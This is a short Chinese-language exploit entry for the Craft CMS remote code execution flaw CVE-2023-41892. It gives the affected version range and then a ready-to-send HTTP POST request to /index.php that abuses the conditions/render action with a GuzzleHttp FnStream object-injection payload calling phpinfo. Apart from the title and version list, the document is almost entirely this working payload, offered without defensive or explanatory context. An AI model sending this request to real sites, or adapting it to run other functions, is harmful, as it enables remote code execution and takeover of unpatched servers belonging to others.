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CraftCMS远程代码执行漏洞CVE-2023-41892

Craft CMS远程代码执行漏洞CVE-2023-41892​

影响版本​

Craft CMS >= 4.0.0-RC1 Craft CMS <= 4.4.14

exp​

POST /index.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded

action=conditions/render&test[userCondition]=craft\elements\conditions\users\UserCondition&config={"name":"test[userCondition]","as xyz":{"class":"\\GuzzleHttp\\Psr7\\FnStream",    "__construct()": [{"close":null}],"_fn_close":"phpinfo"}}